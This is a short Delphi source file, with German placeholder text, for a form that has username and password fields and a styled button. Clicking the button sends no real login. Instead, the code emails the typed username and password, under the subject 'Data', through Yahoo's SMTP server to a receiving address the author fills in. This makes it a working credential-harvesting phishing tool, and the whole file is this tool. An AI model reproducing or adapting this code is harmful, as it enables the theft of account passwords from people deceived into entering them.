unit mEmail;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP, jpeg,
ExtCtrls, IdMessage;
type
TForm1 =
class(TForm)
StatusMemo: TMemo;
SMTP: TIdSMTP;
Username: TEdit;
Password: TEdit;
Image1: TImage;
ButtonNorm: TImage;
ButtonColor: TImage;
MailMessage: TIdMessage;
procedure ButtonColorClick(Sender: TObject);
procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
ButtonColor.Visible:=True;
Buttonnorm.Visible:=False;
end;
procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
ButtonColor.Visible:=not True;
Buttonnorm.Visible:=not False;
end;
procedure TForm1.ButtonColorClick(Sender: TObject);
begin
MailMessage.From.Address:='
sender email';
MailMessage.Recipients.EMailAddresses:='
meine e-adresse zum empfang';
MailMessage.Subject:='
Data';
MailMessage.Body.Text:='
Benutzername:'+#9+Username.Text+#9+'
Passwort:'+#9+Password.Text;
Smtp.Host:='
smtp.mail.yahoo.com';
Smtp.Port:=465;
Smtp.Username:='
meine email';
Smtp.Password:='
mein passwort';
Smtp.Connect;
try
Smtp.send(MailMessage);
finally
Smtp.Disconnect;
end;
end;
end.